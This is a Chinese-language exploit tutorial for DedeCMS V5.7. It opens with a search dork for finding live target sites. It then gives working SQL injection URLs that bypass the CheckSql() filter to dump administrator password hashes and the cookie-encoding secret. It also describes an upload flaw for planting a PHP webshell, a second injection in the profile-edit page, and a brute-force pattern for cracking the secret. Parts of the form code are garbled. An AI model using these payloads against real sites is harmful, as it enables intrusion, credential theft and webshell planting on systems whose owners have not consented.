漏洞类型:注入漏洞、上传漏洞
漏洞描述:百度搜索关键字“Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc”,获得使用DeDeCMS系统的网站。
注入漏洞。首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,如图说明存在该漏洞。
然后写上语句/member/ajax_membergroup.php?action=post&membergroup=@`’` Union select userid from `%23@__admin` where 1 or id=@`’` 查看管理员id
/member/ajax_membergroup.php?action=post&membergroup=@`’` Union select pwd from `%23@__admin` where 1 or id=@`’` 查看管理员密码
得到的是19位的,去掉前三位和最后一位,得到管理员的16位MD5 上传漏洞。要求网站开启新会员注册功能,首先注册新会员,无需通过邮件验证,
只要登陆会员中心,然后访问页面链接
“/plus/carbuyaction.php?dopost=memclickout&oid =S-P0RN8888&rs[code]=../dialog/select_soft_post”
通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
于是将Php一句话木马扩展名改为“rar”等,利用提交页面upload1.htm
<[/url">http://www.sa666.com/plus/carbuy ... t&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post"
enctype="multipart/form-data" name="form1"> file:
newname: 提交
把url改成目标url就行了。还有个全局变量提交,绕过注册的可以去黑防2月刊上面看。
--------------------------------------------------------------------------\
漏洞一:/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入,关键代码如下:
//编辑分组
elseif($action == ‘post’)
{
if(empty($membergroup)){
echo “您还没有设置分组!”;
exit;
}
$sql = “UPDATE `#@__member_friends` SET `groupid`=’{$membergroup}’ WHERE `fid`=’{$mid}’ AND `mid`=’{$ cfg_ml->M_ID}’;”;
$dsql->ExecuteNoneQuery($sql);
$row = $dsql->GetOne(“SELECT groupname FROM #@__member_group WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}”); //数字型注入
echo ” “.$row['groupname'].”
修改 ”;
}
很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对SQL 语句进行安全检查,无法直接注入。
绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类 文件中,代码如下:
if (!function_exists(‘CheckSql’))
{ function CheckSql($db_string,$querytype=’select’)
{global $cfg_cookie_encode;
$clean = ”;$error=”;$old_pos = 0;$pos = -1;
…(略)
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype==’select’)
{$notallow1= “[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}”;
//[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符,
if(preg_match(“/”.$notallow1.”/”, $db_string))
{//①preg_match未使用参数i,使用大写绕过,如:Union
puts(fopen($log_file,’a+’),”$userIP||$getUrl||$db_string||SelectBreak\r\n”);
exit(“Safe Alert: Request Error step 1 ! ”);
}
}
while (TRUE)
{ $pos = strpos($db_string, ‘\”, $pos + 1);
if ($pos === FALSE)
{break; }
//②假如字符串$db_string中不存在“\’”退出while循环,存在则继续向下执行
$clean .= substr($db_string, $old_pos, $pos – $old_pos);
while (TRUE)
{ …(略) }
$clean .= ‘$s$’;
//③将字符串$db_string中”\’”和”\’”之间的字符转为”$s$”,即信任之间的字符串,绕过防注入的关键
$old_pos = $pos + 1;
}
…..(继续接如下代码)
}
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array(‘~\s+~s’ ), array(‘ ‘), $clean)));
//④”\s”匹配任何空白字符,包括空格、制表符、换页符等,$clean转为小写
//⑤再次检查union关键字
if (strpos($clean, ‘union’) !== FALSE && preg_match(‘~(^|[^a-z])union($|[^[a-z])~s’, $clean) != 0)
{
$fail = TRUE;
$error=”union detect”;
}
//⑥依次检查–、#、benchmark、load_file、outfile、select等关键字
elseif (strpos($clean, ‘/*’) > 2 || strpos($clean, ‘–’) !== FALSE || strpos($clean, ‘#’) !== FALSE)
{…(略) }
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, ‘sleep’) !== FALSE && preg_match(‘~(^|[^a-z])sleep($|[^[a-z])~s’, $clean) != 0)
…(略)
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match(‘~\([^)]*?select~s’, $clean) != 0)
{…(略)}
if (!empty($fail))
{//存在限制的Sql关键字,写日志文件$log_file,输出“Safe Alert: Request Error step 2!”
fputs(fopen($log_file,’a+’),”$userIP||$getUrl||$db_string||$error\r\n”);
exit(“Safe Alert: Request Error step 2! ”);
}
else
{//⑦不存在限制的Sql关键字,返回$db_string字符串
return $db_string;
}
语句①使用正则表达式过滤Sql关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While循环实现将字符串(Sql语句)中转义单引号之间的字符转为“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含Sql关键字的文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。构造membergroup变量值为“@`’` Union select pwd from `%23@__admin` where 1 or id=@`’`”,注意:1)“Union”不能全为小写“union”,2)前后使用“@`’`”。当变量提交后,Sql语句成为“SELECT groupname FROM #@__member_group WHERE mid = 8 AND id=@`\’` Union select pwd from `%23@__admin` where 1 or id=@`\’`”,mid为当前用户id,首先大写Union绕过防注入语句①,然后防注入会将“\’”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键字!在CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的Sql语句以及注入结果如下。
…(略)
echo “原字符串:”.$db_string.” ”;
//完整的SQL检查
while (TRUE)
{
…(略)
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array(‘~\s+~s’ ), array(‘ ‘), $clean)));
echo “转换以后:”.$clean.” ”;
…(略)
这里注出的是substr(md5($this->userPwd), 5, 20)值,我们可以去掉前三位和最后一位,成为16位MD5码,如“7a57a5a743894a0e”,再进行爆破。常用的注入链接如下:
注入管理员密码:
http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`’` Union select pwd from `%23@__admin` where 1 or id=@`’`
//如果存在多个管理员时,可以将where条件改为“id=1 or id=@`’`”或“userid=0x61646D696E or id=@`’`”
注入$cfg_cookie_encode
http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`’` Union select value from `%23@__sysconfig` where aid=3 or aid=@`’`
//在获得$cfg_cookie_encode后,我们可以直接利用漏洞二。另外在“/data/’.md5($cfg_cookie_encode).’_safe.txt’”文件中记录着注入痕迹。
漏洞二:/member/edit_fullinfo.php页面,即更改详细资料页面(系统设置>>个人资料),如下,要求登陆用户。
该页面中$inadd_f变量没有过滤导致注入,代码如下:
if($dopost==’save’){ //这里完成详细内容填写
…(略)
if(!empty($dede_fields))
{
if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode))
{ howMsg(‘数据校验不对,程序返回’, ‘-1′);
exit();
} // ①$cfg_cookie_encode值必须已知,才能提交符合条件的$dede_fieldshash
}
$modelform = $dsql->GetOne(“SELECT * FROM #@__member_model WHERE id=’$modid’ “);
if(!is_array($modelform))
{ howmsg(‘模型表单不存在’, ‘-1′); exit(); } //②$modid值必须正确
$inadd_f = ”;
if(!empty($dede_fields))
{
$fieldarr = explode(‘;’, $dede_fields); //③用“;”将$dede_fields变量分割成为数组
if(is_array($fieldarr)) //即$dede_fields变量至少必须包含一个“;”
{
foreach($fieldarr as $field)
{
if($field == ”) continue;
$fieldinfo = explode(‘,’, $field); //④用“,”将$field分割成为数组
if($fieldinfo[1] == ‘textdata’)
{
${$fieldinfo[0]} = FilterSearch(stripslashes(${$fieldinfo[0]}));
${$fieldinfo[0]} = addslashes(${$fieldinfo[0]});
} else if ($fieldinfo[1] == ‘img’)
{
${$fieldinfo[0]} = addslashes(${$fieldinfo[0]});
}
else
{
if(empty(${$fieldinfo[0]})) ${$fieldinfo[0]} = ”;
${$fieldinfo[0]} = GetFieldValue(${$fieldinfo[0]}, $fieldinfo[1],0,’add’,”,’diy’, $fieldinfo[0]);
}
if($fieldinfo[0]==”birthday”) ${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]});
$inadd_f .= ‘,’.$fieldinfo[0].” =’”.${$fieldinfo[0]}.”‘”;
//⑤将用“,”分割成的数组名和值引入$inadd_f中
}
}
}
$inadd_f=preg_replace(‘/,/’,”,$inadd_f,1);
$query = “UPDATE `{$membermodel->table}`set {$inadd_f} WHERE mid=’{$cfg_ml->M_ID}’”; //⑥将$inadd_f引入Sql语句中
// 清除缓存
$cfg_ml->DelCache($cfg_ml->M_ID);
…(略)
//调用$dsql->ExecuteNoneQuery($query)执行Sql语句
}
通过分析可以得出:1)语句①②,$cfg_cookie_encode值必须已知,才能提交符合条
件的$dede_fieldshash,提交的$modid值必须正确,查看该页面源码即可获得$modid值;2)语句③④⑤,$dede_fields变量形式必须为“变量1名称,变量1类型;变量2名称,变量2类型;….”,最后$inadd_f变量值为“,变量1名称=’ 变量1值’, 变量2名称=’ 变量2值’,……”;3)$inadd_f直接引入Sql语句,因此可以使用自查询将需要注出的内容写入个人资料中!
获取$cfg_cookie_encode值。此值是能否成功利用漏洞二的关键,除了利用漏洞一外,还可以通过爆破MD5码获取。使用$cfg_cookie_encode变量的用户页面很多,我们选择“上传软件”页面,查看页面源码,搜索“dede_fieldshash”字符串,如图3,其中$dede_fieldshash值为MD5($dede_addonfields.$cfg_cookie_encode),由于$dede_addonfields值为空,所以获得的$dede_fieldshash值就是$cfg_cookie_encode变量的MD5码,
DeDeCMS安装时,$cfg_cookie_encode变量默认生成规则为:
$rnd_cookieEncode = chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘a’),ord(‘z’))).chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘a’),ord(‘z’))).mt_rand(1000,9999).chr(mt_rand(ord(‘A’),ord(‘Z’)));
形式如:AaAAa9999A,即前5位为英文字母,分别为大写、小写、大写、大写、小写,然后是4位数字,最后是1位大写英文字母,一共10位。爆破工具选择MD5Crack 4,因为这个版本可以按指定的规则进行破解,如下图。
首先输入待破解的MD5码,然后选中①处“Plugins”,选中②处“Templet Plug 2.0”,在③处输入密码规则:[A-Z][a-z]2[A-Z][a-z][1-9]3[0-9][A-Z],④处对规则做了一些简单说明,译文如下:
首先,让我们看一些例子:[p][r]3[a-z]2-4{0,3,6-8}。
模式中包括的“[]”或“{}”为基本元素,其中指定字符集,可以用“,”列出字符,或用“-”表示连接的范围。基本元素之前的数字表示重复次数,不指定时默认为1。
[]和{}的区别:
1、默认(前面无数字)[]是指重复1次,{}是指重复0或1次。
2、前面1个数字(如:x[...],x{…}),[]是指重复x次,{}是重复0到x次。
3、前面2个数字(如:x-y[...],x-y{…}),[]和{}是相同的,指重复x到y次。
[...] == 1-1[...] {…} == 0-1{…}
3[...] == 3-3[...] 3{…} == 0-3{…}
有更多的例子:
[a][c] : abc
[a,b,c] == [a-c] : a;b;c
{a-c} : NULL;a;b;c
2[a-c] : aa;ab;ac;ba;bb;bc
2{a-c} : NULL;a;b;c;aa;ab;ac;ba;bb;bc;ca;cb;cc
随后就可以开始破解了。一旦获得$cfg_cookie_encode变量,我们就可以顺利注入,提交页面代码如下,注意必须将document.getElementById(‘dede_fields’).value值中的单引号替换为转义单引号,即“’”转为“\’”。
dopost:
modid:
cfg_cookie_encode:
dede_fields:
完 成